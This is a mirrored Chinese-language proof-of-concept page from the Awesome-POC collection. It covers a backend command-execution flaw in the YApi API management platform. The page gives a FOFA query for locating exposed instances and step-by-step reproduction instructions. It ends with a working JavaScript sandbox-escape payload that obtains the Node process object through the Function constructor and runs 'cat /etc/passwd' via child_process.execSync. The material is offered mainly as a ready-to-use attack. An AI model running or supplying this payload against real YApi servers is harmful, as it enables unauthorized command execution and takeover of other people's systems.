mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-08 20:36:14 +00:00
66 lines
1.3 KiB
Markdown
66 lines
1.3 KiB
Markdown
# YApi 接口管理平台 后台命令执行漏洞
|
||
|
||
## 漏洞描述
|
||
|
||
YApi 接口管理平台 后台存在命令执行漏洞，攻击者通过发送特定的请求可执行任意命令获取服务器权限
|
||
|
||
## 漏洞影响
|
||
|
||
```
|
||
YApi 接口管理平台
|
||
```
|
||
|
||
## FOFA
|
||
|
||
```
|
||
app="YApi"
|
||
```
|
||
|
||
## 漏洞复现
|
||
|
||
登录页面
|
||
|
||
|
||
|
||
|
||
|
||
首先需要注册账户并登录
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
添加项目，参数任意
|
||
|
||
|
||
|
||
创建后点击 高级Mock 输入如下Payload
|
||
|
||
|
||
|
||
```javascript
|
||
const sandbox = this; // 获取Context
|
||
const ObjectConstructor = this.constructor; // 获取 Object 对象构造函数
|
||
const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数
|
||
const myfun = FunctionConstructor('return process'); // 构造一个函数，返回process全局变量
|
||
const process = myfun();
|
||
mockJson = process.mainModule.require("child_process").execSync("cat /etc/passwd").toString()
|
||
```
|
||
|
||
|
||
|
||
|
||
|
||
|
||
|
||
预览处点击项目链接
|
||
|
||
|
||
|
||
 |